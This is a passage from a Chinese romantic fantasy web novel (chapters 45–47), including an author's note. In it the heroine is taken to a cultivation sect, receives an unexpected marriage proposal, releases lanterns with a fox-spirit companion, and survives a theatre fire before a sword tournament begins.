她不愿意跟他走,也不是排斥他,而是流云宗那种地方,她实在信不过,去了之后,那些人要杀要剐,她也反抗不了。 可对方轻轻一笑,说道∶“我会好好劝劝父亲,相信他也一定会喜欢你的。” 徐颂禾心说这可能有点困难,毕竟你爹爹前阵子还差点折在我手里了。但她没有拒绝的余地,只好一边跟着他走一边奇怪地问∶“可我都说了祁无恙不在我这里,你还要带我回去做什么?” 面前的人侧过脸,视线和她交汇的瞬间,他轻轻笑了笑∶“与他无关,带你回去,是我的私心。” “好感度提示,恭喜宿主,当前好感度为80%。” 徐颂禾还想再问,突然听见系统的话,铺天盖地的喜悦令她一时忘记了要说什么。 都八十了?难道是她刚才舍命相护,给他感动到不行了? “阿禾,其实,我还有别的话想同你说……” 卓子墨垂眼看向她,话音却倏地顿住了。 月光潺潺,如水般倾泻在少女微微扬起的唇角。他不由得一怔,凝着那浅浅的酒窝出了神。 她为何笑?是因为他吗? 这里没有旁人,只能是因为他了。 他们毕竟相处了许多时日,他是兔子的时候,她那么喜欢他,现在他变回了本来的样子,她的喜欢……应当也不会变。 猜到她不想接受太多人注目,卓子墨还贴心准备了一架马车,等到了目的地时,徐颂禾揭开帘子,发觉天已经亮了。 “山路难走,”卓子墨朝她伸出手,道∶“不妨牵着我。” 徐颂禾迟疑了一下,正要伸手时,忽然红影一闪,一旁的狐狸轻轻一跃,毫不客气地窝在了她的怀里,一动也不动。 “……没关系,我自己可以走的。” 卓子墨便没再坚持,只狐疑地扫了那狐狸一眼,但对方懒洋洋地趴在姑娘的手臂上,两只狐狸眼看也不看他一下。 到了山上,人影也渐渐多起来,察觉到那些弟子投来的目光,徐颂禾不自觉收了收手臂,尽量把狐狸一整个遮住。 她听见他们议论纷纷∶ “大少主说要下山捉拿妖孽,这妖孽没见到,怎么却带了个姑娘回来?” “这姑娘怎么还抱着一个狐狸?她难道不知道我们宗主最讨厌……” “你少说两句吧,既然是大少主带回来的,那必然不是什么普通女流,小心得罪人!” 徐颂禾不再听他们的谈话,她看向面前的人,问道∶“你要带我去哪儿?” “很快到了,就在那儿。” 一路上耸立着各种庙宇,一派仙家气象,而他手指的方向,有一座最为宏伟肃穆的大殿,匾额上龙飞凤舞地写着“流云堂”三个鎏金大字。 卓子墨大步跨进殿内,深深作了一揖∶“爹,是孩儿来迟。” 徐颂禾停在门口不敢进去,远远的,卓不凡喜极而泣的声音从里面传出来∶“子墨,你总算回来了。你可知你不在的这段时日,爹和子寻都担心你担心得夜不能寐啊……” “孩儿知错,还望父亲恕罪,”他的眼神闪了闪,正色道∶“孩儿此次仍有一事,求父亲成全。” 卓不凡抹干净眼泪,挥挥手∶“能回来就是再好不过……什么事,只要你说,爹一定满足你。” “那便谢过爹爹了,”卓子墨笑了笑,道∶“孩儿之所以迟迟未能归,是因为不慎中了妖物的邪术,被迫变成……总之,一切都多亏了一位姑娘,孩儿才得以破解咒术,重返流云宗,见到父亲您。” 卓不凡闻言大喜,道∶“什么人救了我的子墨?你且说来,我定然重重有赏。” 他抬起眸,淡淡一笑,目光坚定地望向殿外,声音清晰而郑重∶“徐姑娘于孩儿有救命之恩,更于危难中多次庇护。一路相伴,孩儿深知其秉性纯善,坚韧聪慧。只愿能将她留下,护她余生平安喜乐,不再受半点委屈。” 说罢,他拂开衣袍,双膝跪地,一字一句,掷地有声∶“孩儿心仪徐姑娘,恳请父亲准许,娶她为妻!” 门外—— 徐颂禾抱着狐狸的手臂猛地缩紧,心脏突地一跳,险些向后仰去。 她不敢相信自己的耳朵。 看来咒术应该还没有完全解除……不然他为什么会突然说梦话?! 现在跑还来得及吗? 第45章 委屈巴巴 话音落地的瞬间, 徐颂禾察觉到有无数道目光朝自己射过来,她一时无所适从,走也不是, 留也不是, 只好把狐狸向上举了举, 遮住自己的脸。 谁能告诉她现在的剧情到底是什么走向?曾经乖乖趴怀里任由她薅绒毛的小兔子突然就变成了一个八尺男儿,还……还说要娶她?! 实在令人匪夷所思。 幸好在来之前她强烈要求卓子墨帮她易了容,是以那什么宗主没能认出她来。 “阿禾。” 一道阴影从面前落下, 徐颂禾露出一双眼睛, 不安地看着来人。 卓子墨笑了笑, 道∶“我今日当着父亲和各大长老的面说要娶你,是想向你表明我的心意, 并非要逼迫你。即便你不愿,往后也可以女主人的身份留在流云宗, 我定不会亏待你。” 徐颂禾已经被他领进了殿内,走进去才知道, 那些椅子上都坐满了人。 第一次暴露在这么多人的视线之下,她颇为不习惯, 但来都来了, 也不能临阵脱逃,只好悄悄用余光观察着其余人的反应。 殿内一时寂静无声,卓不凡闻言, 原本咧开的嘴角顿时收拢, 脸色一下子黑了下来。 有人干笑两声, 道∶“宗主,大少主开窍了,这是好事啊。” 卓不凡两眼紧盯着面前这位他一直引以为傲的儿子, 方才久别重逢的欣喜已一扫而空。他沉下声,道∶“你们都出去。” 那些人也不是没眼力见的,听他这么说,便一齐默不作声地把大殿空了出来。 卓子墨昂着首,面不改色地看着一步步走来的父亲。 “你……你给我跪下。” 卓不凡气得面色苍白,指向他的手指直哆嗦∶“我从前是如何教导你的,我花了多少精力培养你,结果你现在竟要娶妻生子?你对得起我吗!” 徐颂禾脸上一热,想立马挖个洞跳进去。 不是,她还在这呢,是不是起码把她支走了再说这些? “父亲这话恐怕不太准确,”卓子墨安静地跪在地上,老父亲面色刚有所缓和,便听见他一字一顿地说∶“我只想娶她,护她一生无虞,至于生子……凡事会让她感到痛苦的事,我不会做。” 他抬起头,在卓不凡震惊的面孔下,微笑着继续道∶“当然了,一切都只是我的私欲,她有不愿意的权利t,我绝不会强人所难。” “你……”卓不凡扬起了手,对着那张脸,却迟迟落不下去。 “那个——”意识到这或许是个溜之大吉的好机会,徐颂禾非常识趣地开口道∶“我就不打扰你们了,有缘再见。” 她说完,转身正要离开,身后突然传来一声“慢着”,只好又停下脚步,不情不愿地转回身。 怀里的狐狸似乎有些烦躁,在她衣袖上抓了一下,在她低下头去看时,又飞快把脑袋埋下去了。 “你抱着的是什么东西?” 她僵硬地抬起脸,对上卓不凡直勾勾投来的视线,硬着头皮说道∶“是我养的狐狸,不过听卓少主说,贵派不喜狐狸,我这就带它离开。” “且慢,”卓不凡长满胡茬的嘴咧了咧,道∶“不论如何,你对子墨有救命之恩,我流云宗也不是什么忘恩负义的下流之辈,你若愿意,大可留下,只是成婚一事,哼,我是绝不允的!” 徐颂禾心道倒也不需要同意,她只想快点完成攻略任务然后开开心心回家,到底是谁会愿意随随便便和一个陌生人结婚? 但他并没将这话说出来,只朝卓子墨看了一会儿,道∶“不知道宗主能否让我和这位少主单独聊几句?” 卓不凡眉头一皱,话还未出口,方才一直窝在她怀里的狐狸蓦地纵身跃出,猝不及防在他手上留下了一道深深的口子。 他大为震惊,旋即怒不可遏地抬起头,那狐狸却轻巧地一跃,已经从闻声围上来的一众弟子头顶上掠过,随后那道红色身影便消失不见了。 徐颂禾心下骇然,忙道∶“宗、宗主,这狐狸是我前不久才捡来的,它没有主人,也缺少教化,我代它向你赔不是了,不过您大人有大量,不会和一只狐狸计较的吧?” 小姑娘说得真诚,又是宝贝儿子的救命恩人,他当然不好说什么。卓不凡“哼”的一声,视线草草从两人身上扫过,随后一拂衣袖,转身出了门。 “你放心,弟子们不会伤害它,”他起身走近,笑道∶“阿禾,你有话对我说?” 她还在忧心忡忡地盯着方才狐狸离开的方向,闻言回过神来,转头看向他,忽然觉得很是陌生。 就好像……他和小白是两个完全不同的存在。 “你真的是小白吗?”她不知怎么又问了一遍。 卓子墨一愣,随后笑道∶“是我,你是不相信,还是喜欢我是小白的时候?” “我没有想要你再变成小白,你的咒术能破除,我也为你高兴,”徐颂禾斟酌了一下言辞,然后才说∶“我只是觉得,小白那么可爱乖巧,可变成了人——不,是变回了你,你一点也不尊重我。” 卓子墨瞬间敛起笑意,脸色忧郁下来∶“可我说了会尊重你的意见……阿禾,你是不是不喜欢我?” “和这个没关系,”徐颂禾摇了摇头,顿时感到头大,“你贸然当着你父亲,当着这么多人的面说要娶我,却没有事先问过我。” “是我太心急了,可我真的不想再看着你在外面受委屈,我只是想让你知道我的心意……” 他一向是流云宗最有希望继承大业的少主,传闻他天赋异禀,相貌出众,这方圆百里没哪个姑娘的择偶标准不是他,今日他头一回向人表明心意,没成想竟被如此惨烈地拒绝了,还被对方说成不尊重人。 “选择权看似在我,可在场的人那么多,我总不可能当着他们的面拒绝你,让你难堪吧?而且,看你刚才的反应,应该早就知道宗主不准你娶妻,可你还是……”看着对方一点一点阴沉下去的脸,她忽然止住不说了,摆了摆手道∶“算了算了,我和你说这些干什么?我要去找我的狐狸了,它在哪里?” 卓子墨眼神明显受挫,闻言强颜欢笑道∶“一只野狐狸而已,不如就把它放走,你留下来……” 一语未完,外头蓦地传出几声惊呼,徐颂禾不等他说完,赶紧抢步出去,只见四五个弟子围在一口井旁,个个目瞪口呆,井底下隐隐有呜咽声传出来。 一股不祥的预感瞬间如一盆冷水浇下,她立刻奔上前,推开围着的人群,挤到最里面去。 两只发着光的眼睛正从幽深的井底望上来,湿漉漉的瞳孔里映着井口透下的微光。它前爪扒着井壁,似是奋力想跃出来,喉咙里发出细弱的呜咽。 徐颂禾的心一下子揪紧了。 她拉住井口的绳子,把井底的水桶连同狐狸一起打捞上来,随后蹲下身抱住它,动作轻柔地替他将被井水打湿的毛发理顺。 “别怕别怕,我在这呢。” 它身体还在微微发抖着,感受到她掌心的温度,温顺地趴在她肩头,像是受了伤的小兽,既害怕被抛弃,又期盼着救赎。 灵体和本人果然相差甚远,她还从没见过他这副样子,想来如果他的意识全部都在,眼下也不可能向她露出这样的一面。 卓子墨姗姗来迟,见状也是一愣∶“阿禾,我……” “你不是说过,不会伤害他的吗?”徐颂禾恼怒地看向他,道∶“为什么要欺负他?” 卓子墨余光扫过瑟瑟发抖的众人,冷声问∶“怎么回事?” “少、少主,我们也不知道啊,”其中一人连连摆手,随后指向那只狐狸,大声道∶“是它,是它自己跳下去的,不关我们的事!” 狐狸似乎听懂了这话,一双眼睛里瞬间盛满委屈和惊惶。徐颂禾轻轻抚摸着他湿漉漉的茸毛,更加生气∶“他怎么可能自己跳下去?卓少主要是不想留人,我们自己会走。” 灵体还保留着主人潜意识里最害怕的记忆,祁无恙最讨厌阴暗狭小的地方,如果不是那些人对狐狸自带敌意,他又怎么会掉下去? 那几个弟子百口莫辩∶“少主,你听我们解释,真的是它……” 话音未落,那狐狸自少女身前抬眼,目光冷冷地扫过他们,却在徐颂禾低头看来的瞬间,又变回了那副泫然欲泣的模样,还用细软的毛轻蹭了蹭她的脸颊。 几人看得一清二楚——这根本不是一只普通的狐狸!他们正要开口辩解,便听见大少主冷着脸道∶“你们都下去,不把今日的功课练完,不许吃饭。” 他说罢,歉疚地看向正垂眸抚摸狐毛的少女,温声道∶“辛苦姑娘折腾了一日,你若不介意,随我去休息片刻可好?” 兴许是刚刚那一番话伤到了他,现在已经把“阿禾”改口成了“姑娘”。 徐颂禾想了想,觉得他不会就这样放自己离开,但应当也不会伤害自己,于是便答应下来。 卓子墨把她送到一间空房后便离开了,临走前,他耷拉着脑袋,满脸愧意∶“今日之事,我很抱歉,没想到会让你如此困扰。” 她这时气也消了,不管怎么说都是同行了一路的伙伴,况且小白也帮过他们不少,便道∶“狐狸的事,和你没有关系,我也不会怨你,至于另一件……我们日后再说吧。” 见她竟不埋怨自己,卓子墨一喜,道∶“好,你好生歇息,到了饭点我会差人来唤。” 目送他走远后,徐颂禾关上门,转过身却惊觉榻上已空无一物,只剩几撮红色的毛发孤零零躺在上面。 “你的兔子变成人了,很高兴?” 她愣了愣,抬起脸顺着声音来源寻找,只见一红衣少年正斜倚在房梁上,墨发如瀑垂落肩头。 她略感到惊讶,迟疑着问∶“你变回来啦?” 这个人怎么老喜欢待在一些奇奇怪怪的地方? 第46章 放花灯 徐颂禾左看看右看看, 注意到门外的脚步声,她焦急地说∶“你怎么在这个时候变回来了呀?” “怎么,你不希望我变回来?” 少年轻飘飘从梁上落下, 她下意识后退, 腰肢恰好抵在桌沿。 “我没有那个意思, 虽然狐狸很可爱,但是你能变回来当然是最好的。”徐颂禾背过手把窗帘拉上,心里一边庆幸总算不用让她一个人应付流云宗这么多人了, 一边又在惋惜以后可能都摸不了狐毛了。 “你这张脸, 是他为你准备的?”祁无恙低眸凝视她, 眼中掠过一丝不满。 哦对了,忘记现在用的是另一幅容t貌了, 徐颂禾无奈地说∶“你之前又没办法变回去,我只能求他帮我易容, 不让那些人认出来了。” 他不说话了,她回过视线, 看见对方正微微蹙眉,垂眸看着他被打湿的衣摆, 眼中浮现出一丝困惑。 徐颂禾试探着问∶“你不记得刚刚发生了什么吗?那你知不知道这是哪里?” 怎么还真的断片了……不对, 他刚刚自己说兔子变成人了,说明多少还是记得一点的,她带着些许期待的目光看向他, 他却过了半晌才淡淡地说∶“不记得了。” 好吧……她不死心地向系统询问了一遍好感度, 果不其然, 还停留在八十。 “哎,有人来了。” 门外突然响起的脚步声令她一惊,紧接着有人停下敲响了门∶“阿禾, 我能进来么?” 徐颂禾心下一慌,忙问道∶“你还能变成狐狸吗?” 这里毕竟是人家的地盘,她总不能锁着门不让他进吧! 祁无恙偏了偏头,好整以暇地看着她,眼里的玩味溢于言表,仿佛眼下即将发生的事与他无关。 敲门声又响了一遍,门外那道声音略有迟疑∶“阿禾,你在里面吗?” “呃,稍等一下。”徐颂禾急得想把人藏起来,转头一看,却见一只红毛狐狸安安静静地卧在榻上,轻阖着双眼。 她一怔,抬手揉了揉眼睛。 刚才是幻觉吗?难道他根本没变回来? 但来不及多想,确认他短时间内不会再变回人后,徐颂禾整理完心情,打开了房门,露出门外人微笑的脸。 卓子墨状似无意地扫了榻上的狐狸一眼,温声道∶“该用晚膳了。” 察觉到他的视线,徐颂禾不动声色地挪动步子挡在中间∶“多谢公子,只是我实在没什么胃口……” “那正好,”谁知他并未强求,反而顺着她说∶“明日各门派论剑,今夜镇上有场灯会,不知阿禾可有兴趣?” 徐颂禾迟疑着回头看了一眼,问道∶“能把狐狸带上吗?” 她一心只想离开这,毕竟易容术不清楚能维持到什么时候,万一露馅了可就完蛋了。原本想拒绝,但转念一想,这里和祁无恙有仇的也只有这些门派了,如果明天能找到和他身体有关的线索,多留一晚也未尝不可。 没料到她会这么轻易地答应下来,但喜悦还未涌上心头,便又听她问起了那只狐狸。 “自然可以。” 卓子墨勉强扯了扯唇,想不明白自己为何要同一只畜牲恼火。 徐颂禾以要好好收拾一下为由支走他后,关上门转身走回床边,叉起腰俯视那只狐狸。 “祁无恙?”她用只有他们两人能听见的声音唤了他一下。 他没有任何反应,只有耳朵动了两下。 徐颂禾暗暗叹气,她能肯定刚才不是错觉,或许是诅咒又出了什么问题,导致他的恢复只是昙花一现。 她随便梳了下头发,正要出门时,转头看到榻上的狐狸,忽然起了一个坏心思。 他刚刚……是不是说不记得变成狐狸时候的事了? 徐颂禾微微眯眼,在那双逐渐茫然的狐狸眼下走进了他。 那就别怪她公报私仇了,谁让他之前要把她扔给流云宗的人,还口口声声说了那么多次要杀她,掐了她那么多次脖颈的? 狐狸似乎察觉到了一丝“危险”,耳朵警觉地向后撇了撇,但为时已晚,少女纤细的手伸过来,在他后颈最柔软的地方挠了一下。 那一下不轻不重,他却仿佛被触碰到敏感的神经,从榻上一跃而起,浑身毛发都微微炸开了,两只眼睛“怒视”向捉弄他的人。 “不逗你啦,快回来,”徐颂禾忍住笑意,在床榻上拍了拍∶“不然就不带你出去了。” 这话果然奏效,他在屋内来回踱了一圈后,最终乖巧地趴在她面前,一动不动。 徐颂禾找来一条毛巾,将他一整个围了起来,细心替他把毛发一根根擦干净了。 这举动似乎让他感到惬意,狐狸闭上眼睛,一脸的享受。 后背被人轻拍了一下∶“好啦,要不要去照照镜子?” 他不明所以,但还是依言跳下床榻,走到屋角的铜镜前。只见镜中的其中一只耳朵上,赫然系着一个用粉色丝带系成的,精致的蝴蝶结。 他不敢置信般偏了偏脑袋,镜中的影像也跟着动了动,那个蝴蝶结也随着他的动作轻轻摇晃。少女没能忍住,与他目光相接时,恶作剧得逞的笑似一串晃动的银铃。 “别摘下来呀,多好看,”徐颂禾上前架着两只毛茸茸的前腿把他拎起来,阻止了他的动作,“走啦,带你去看灯会。” * 密密麻麻的灯笼从街头挂到街尾,暖黄的光把青石板路都映得发亮。 一人一狐走在路上,路过的人看见了,大多都要停下来,笑眯眯地注视着他们,然后赞叹一句∶“这是哪里来的狐狸?可真漂亮!” 远远的观看可以,但想要摸摸它却不行了,这狐狸脾气燥得很,除了它旁边的姑娘,谁碰就冲谁炸毛。 不远处有放花灯的地方,徐颂禾过去要了一盏,随后蹲下身,和那狐狸一般高,“你想写什么呀?” 它伸出前爪挠了灯笼一下,她笑吟吟地说∶“我忘了,你还没有学会写字,那就我来代你写吧!” 她刷刷落笔,那只狐狸便一个劲往前凑,耳朵上的毛不断蹭过她手背。 花灯其中一面的字被映亮了,明晃晃写着“祁无恙平安喜乐,”她歪着头想了一下,又补上四个字——“无病无灾”。 “诶,你去哪呀?” 狐狸蓦地转过身遁入人群,徐颂禾急得喊出声,可话音刚落,他便已经没了影。 算了算了,这里人这么多,也不会出什么事,徐颂禾埋头继续写她的字。 背面,她留给了另一个世界的家人,直到那盏写满了字的花灯摇摇晃晃飞上天空,和其余灯光融为一体,她才想起来刚刚好像忘了给她自己写。 千万盏灯一齐飞上空中,明晃晃的光像是给漆黑的天空烫了一个窟窿。 她仰起头,视线追随着那盏被自己放上去的灯笼,忽地,另一盏不知从哪里飘来的灯笼和它相撞了一下,上面的字便慢悠悠转过来,正对着她。 徐颂禾微微一愣,那上面歪歪斜斜写着的,不是她的名字吗? 后面还跟着四个字,写得就远远不如她的名字好看了,她只能勉强辨认出其中两个是“平安”。 可是谁会为她写呢?正思索时,身后忽然传来一声叫唤,她回过头,看见卓子墨噙着笑朝自己走来。 哦,那看来是他写的了。难得身处异乡还能有人惦记,她望着走来的身影,第一次意识到,这个人就是小白,那只喜欢趴在肩头黏着她的兔子。 “抱歉阿禾,方才去处理了一些杂事,来晚了,”看到她身边没有狐狸,卓子墨笑意更深∶“玩得可还开心?” “挺好的,”徐颂禾想到那盏花灯,又说道∶“多谢你呀。” 他不以为意,见她心情不错,顺势提议∶“那边有家戏馆不错,喜欢听戏么?” 徐颂禾点点头,反正来都来了,而且戏馆人多眼杂,说不定能打听点什么消息。 一路上,她的目光不住地在人海中搜寻,却迟迟不见那抹红色身影。 戏馆内热闹非凡,台上锣鼓铿锵,台下座无虚席。卓子墨要了二楼的雅座,视野极佳。 徐颂禾心不在焉地听着戏,一面悄悄问系统∶“系统,祁无恙的诅咒……发作一次多长时间?” 系统的语气也带着点疑惑∶“按理说这个时间应该已经结束了,不过宿主可要注意,如果他是在诅咒过去后仍以灵体形态出现,那么是有不少自我意识的,可不要干坏事让他记恨上了。” 徐颂禾眼皮一跳——怎么不早说?!她出门前还对他……那不是完蛋了? 这系统也太坑人了! “阿禾,你可有闻到什么?” 她勉强收回思绪,嗅了嗅鼻子,奇怪道∶“好像……有股烧焦味?” 卓子墨神色一凝,猛地站起身。只见后台方向已窜出明火,浓烟滚滚而出! “走水了!” 戏馆内顿时乱作一团,人们惊慌失措地涌向出口,哭喊声、桌椅碰撞声混杂在一起。 “阿禾,这边!”卓子墨反应极快,一把拉住她的手腕,护着她往楼梯口冲。 然而火势蔓延得超乎想象,燃烧的碎屑不断从头顶掉落。两人被迫被拥挤的t人群冲散,徐颂禾完全迷失了方向,只能跟随人流往前跑。 混乱中,一道被烧得摇摇欲坠的屏风蓦地倒下,但旁边恰好挤满了人,躲又躲不掉,她只好抬起手护住脑袋。却不知哪里来的力量,将她周围的人群拨开一条道,把她往安全的地方推了推。 一直被这股力量引到门口,徐颂禾悬着的一口气还没放下,头顶传来的咔嚓声响令她浑身血液骤然凝固。 她甚至还来不及抬头,一根带着火星的横梁蓦地坠落,徐颂禾觉得双腿像是被定住了,只能眼睁睁看着它以极快的速度朝自己砸落下来。 “小心!” 木梁砸下来的瞬间,她被一股力道猛地一拽,重重跌落在地。 徐颂禾颤巍巍地睁开眼,心跳急剧加速。 只见卓子墨用自己的后背硬生生挡了一下,沉重的撞击让他发出一声闷哼,脸色瞬间褪得雪白。 “卓少主!” 徐颂禾挥开聚拢在眼前的浓烟,看清地上的人后,她大惊失色地扑上前,拼力推开了压在他背上的木梁,手心瞬间被灼痛感刺得一麻。 “你……你怎么样了?”她把人扶起来,让他倚靠在墙壁上。卓子墨后背的衣衫已被烧穿,露出里面的血肉,看起来触目惊心。 “无妨,”他艰难地扯出一个安抚的笑,额上冷汗涔涔。缓过一口气来,看见她神色愈发愧疚,他气若游丝地说∶“阿禾不必自责,是我拖累了你才对。” 徐颂禾怔怔抬头,不明所以地看着他。周围救火的人声、哭喊声依旧嘈杂,可她耳边一时只剩下他虚弱的喘息声。 “这场火是冲我来的,明日论剑大会,他们不希望我出场,”他冷笑一声,眼底盛着怒意,“卑鄙小人,竟使此等下流手段——咳咳……”一阵急咳打断了他的话,令让他整个人都蜷缩起来。 “你先别说话了,我想办法带你回去。”徐颂禾替他拍了拍背,又小心翼翼的怕触碰到他的伤口。 她视线焦急地穿梭在混乱的人群中,期盼能见到一个流云宗的弟子,目光却在扫过街角时猛地定住了。 那只红毛狐狸正静静地蹲坐在阴影里,隔着喧嚣的人群,漠然地看着她。 月光下,她似乎看见它身上有血迹。 “你……” 目光交汇的刹那,他忽地掉过身,耷拉着脑袋,一声不响消失在人群之中—— 作者有话说:花灯是男主写的,但他只认识妹宝的名字,所以其它的字写得潦潦草草 祁∶不识字但好想为她写点什么[求你了]看到她写我的名字了,虽然不知道后面的是什么字,但她给我写的一定都是好字,我把它们的笔画背下来,再写给她就好啦[星星眼] 明天比较忙,应该写不完了,后天更奥 第47章 用不着吃醋 室内雾气缭绕, 烛火摇曳,少女藏在门外,隔着一扇薄薄的窗纸, 望着屋里的人。 卓子寻替榻上的人上完了药, 疑惑地问∶“哥, 你平日不是最不喜热闹的吗?今夜怎么去看灯会了?” 对方却抿紧了唇,不答这话。他勉力撑起身子,抬头看向背对而立的男人。 “爹, 孩儿知错。” “知错?”卓不凡冷哼一声, 转身直视向他, 幽幽地问∶“既然成心想放弃参赛,为何不直接同我说?把自己弄得如此狼狈, 值得吗?!” 卓子墨“扑通”一声跪在他跟前,面不改色地说∶“孩儿并非有意为之, 父亲放心,明日论剑, 我自会全力以赴。” “你还是担心担心别让人废了这双腿吧。”卓不凡睨了他一眼,冷冷一笑∶“那个人早不去晚不去, 却偏偏在这个时候和你去看什么灯会, 还让你为了救她受伤,你说,她会是哪个门派派来勾.引你的?” “爹, 是我一厢情愿, 此次纵火之人也是冲着孩儿来的, 与徐姑娘无关,”他猛地抬眼,拳头几不可察地颤抖着, 头一回用这样的语气同卓不凡说话,“还请父亲只惩罚我一人,莫要迁怒于她。” “你……你……”卓不凡指向他的指尖都在颤抖,最终只扔下一句“好自为之”,便拂袖出了门。 徐颂禾赶紧侧过身低下头,卓子墨受伤后,易容术也无法维持,她只好寻了一副面具戴上,生怕被人看出破绽。 她远远眺向卓不凡逐渐消失的背影,只觉得奇怪——先前卓子墨还是兔子的时候,他那么着急,那么害怕他们伤害了宝贝儿子,怎么这个时候突然变得这么冷漠了? 还没容她想明白,便听见屋内的人又说∶“哥,你莫生气,爹也是关心你才说那些话的。” 卓子墨没接他的话,只沉声道∶“子寻,你回去歇着吧,今夜辛苦你了。” 待他走远后,徐颂禾才探了探头,小心翼翼地走进屋来,“你怎么样了?” “已无大碍,只是明日恐难以应付,”见她又是一脸愧色,他笑了笑,目光直勾勾看着她,语气平静∶“纵火之人已经死了,听说是被活活咬死的。” 咬死的? 徐颂禾闻言微微一怔,不知怎么,眼前飞快掠过了一个身影。 是他干的吗? 所以那时他身上的血……是受伤了吗?可他为什么一声不吭就跑了呢? “阿禾,你在想什么?” 她眨了下眼,回过神来∶“明天我能和你们一块去吗?” 卓子墨一顿,神色略显为难,道∶“我原本是希望你能一起的,只是现在……我真的不愿让你看到我狼狈的一面。” 如果论剑大会上输了,他是无论如何也不希望被她看见的。 “不管怎么说,你都是因为救我受伤的,我去了没准还能帮上忙,”徐颂禾有些心不在焉地回应他,但见他还是一副苦大仇深的模样,只好说∶“好吧好吧,我不勉强你了,那明天我跟着你下山总可以了吧?我一个人待在这也怪无聊的。” 不知道为什么,她总觉得,到了明天,在那个地方,祁无恙一定会出现。 到时候她非得好好问清楚,这个人怎么总喜欢不告而别! 她原本是计划着偷偷跟去,没想到卓子墨一听她要走,脸色微微一沉,立马改口答应了下来。 一切都决定好了,徐颂禾回了房内,却还是躺在床上辗转反侧,好不容易有了一点睡意,可刚一闭上眼睛,脑海里便立刻浮现出人群中狐狸消失的画面。 还有……他身上的血。 她不断告诉自己,等见了面问清楚就好,可每每想起来,心脏都止不住地抽疼,就这样捱过了一宿。 翌日天还未亮,她便跟随流云宗其余弟子一齐下了山,还不忘把面具给戴上。 一路上,她时不时便见两名弟子交头接耳,还用自以为她听不见的音量议论道∶“那位姑娘不是我们的人吧?看着也不像是会使剑的样子,你说大少主为什么要带上她?” 另一个人听见了,赶紧朝四周看了看,把他拉进过来,压低声音说∶“你不知道吗?昨天大少主当着各长老的面向她求婚,可把宗主气得不轻……” 他在对方愈加震惊的表情下,十分笃定地补充道∶“姑娘虽然戴了面具,但我猜她样貌一定不错,约莫就是被大少主看上了,才得以混进来的。依我看,过不了多久他们两人就要成亲了,毕竟像大少主这般英俊潇洒又才能出众的,很少有姑娘能拒绝他吧?” 一语未完,蓦地一只暗器斜刺里射过来,两人大惊失色地往后一躲,那枚暗器便堪堪擦着他们的鼻尖飞过。 “喂,是哪个敢暗算我们……” 惊魂未定之余,朝那东西飞过的方向定睛一看,哪里有什么暗器,方才差点要了他们小命的,居然只是一片不起眼的树叶。 两人又惊又怒地瞪向不远处“使阴招”的人,质问道∶“你这是做什么?难道你是别派派来的奸细吗?” 徐颂禾暗暗瞧着,也觉得奇怪,昨晚的大火来得势不可挡,可纵火之人已死,难不成这队伍中还有别的内奸? 她沿着两人的视线看过去,只见一少年缓缓抬头,眼神中带着几分讥诮∶“抱歉,手滑了。只不过我看二位如此爱嚼人舌根,舌头不要也罢。” “你……” 两人没料到刚才的一番八卦会被别人听了去,又担心他把这些闲话传到大少主耳中,便纷纷闭嘴不敢再说了。 那少年不紧不慢地收回视线,目光似是从她身旁擦过,却并未落到她身上一下。 徐颂禾t不觉晃了一下神,她赶紧想追过去时,却发现对方又已不见了踪影,仿佛刚才的一切都只是错觉。 演武场上旌旗猎猎,各派弟子按宗门分列而坐,人声鼎沸。徐颂禾拘谨又好奇地打量着周围,刚跟在卓子墨身旁落座,便听见钟鸣数声。 “开始了。”卓子墨看了她一眼,平淡地说,随后凝起目光,神色严肃地望着擂台。 她点点头,刚想挪到后排去,便又听见他带着笑意说∶“会场不安全,阿禾还是待在我身边为好。” “……好。” 徐颂禾只好探出脑袋往周围张望,却始终不见神似他的人。 “哥,他们是哪里来的?往年都没见过,”卓子寻拍了拍兄长的肩,指向最左侧的角落,不屑地哼了一声∶“怎么有人打扮成这样就来了?该不会是来投降的吧?” “子寻,”卓子墨目光陡变严肃,厉声喝道∶“休要胡言乱语。” 她坐得无聊,这些话传进耳里,便也好奇地转过头,循着他们的目光看去,便见一众佩戴面纱的人正零零散散地坐在场外,个个低垂着头,一副精神低迷的模样,身上穿的灰衣像是用破布缝制成的。 那坐在宗主位置的人更是一脸的淡漠,与周围人格格不入,似乎他们不是来参赛的,而只是一群看客。 徐颂禾正觉得这群人古怪,台上忽地传来裁判高喝∶“论剑第一场,流云宗对玄隐门!” 只见那群灰衣人中站起一个瘦小弟子,慢腾腾走上了擂台。 “原来是他们,”卓子寻笑嘻嘻地拔剑应战,“爹,你看我怎么把他打得落花流水。” 卓子寻话音未落,人已如离弦之箭般跃上擂台,自信满满地朝对方拱手∶“请。” 那灰衣弟子却仍垂着头,待裁判宣布开始后,才缓缓抬起木剑。卓子寻率先发难,剑势凌厉,可对方不紧不慢地闪避着,剑尖始终未能接近灰衣半寸。 数十招后,他渐显焦躁,招式也变得散乱。卓子墨将一切看得清清楚楚,沉声道∶“他是在消磨你的心态,给我沉住气了!” 可这句提醒为时已晚,露出一个破绽后,他只觉虎口一麻,长剑已被人挑落在地。 灰衣轻哼一声,罩在脸上的面纱微微扬起。 本来胜负已分,但卓子寻认定对方是在嘲笑他,脸色瞬间铁青,竟无视规则,重新拾起剑便朝他攻去。 “你到底是谁?竟敢嘲笑我,一个大男人脸上戴什么破布?谁知道是不是耍什么阴招了?!” 他被人架着胳膊抬下去时,还在不停挣扎着,伸出手指着台上的人一顿骂。 “够了,”卓不凡脸都黑了,碍于人多眼杂,强忍下扇他的冲动,从牙缝里挤出几个字∶“子墨,把他带下去,结束前不要再让我看见他。” 这么一场下来,台下一阵唏嘘,议论纷纷∶“没记错的话,这玄隐门是近两年才建立起来的吧?流云宗好歹也是近百年的门派了,堂堂少主竟连区区一个无名小卒都比不过,我要是他们宗主,早就没脸再待下去了!” 这灰衣像是打得上头了,不知为何场场都指名了要流云宗的人,其余门派还未上场,便已看见他们输了七八局。 卓不凡阴沉着脸,目光扫过周围议论纷纷的人群,咬牙切齿道∶“这孙子今日是非要看我颜面扫地不可了。” “爹,还是我去……” 卓不凡将他按下,怒道∶“你伤没好,上去丢人吗?!若不是你,至于让你弟弟上场吗?” 在场的所有人中,卓子墨算小有名气的了,如果连他都输了,那才真的要叫人笑掉大牙。 “看来流云宗是无人了,”玄隐门中,为首的黑衣人缓缓站起身来,面具下的眼睛闪过一丝狡黠的笑∶“这位戴面具的姑娘和我倒是很有缘分,我看她一直都是一副不屑的模样,想必是灵力高深吧?不如就由你来应战。” 戴、戴面具的? 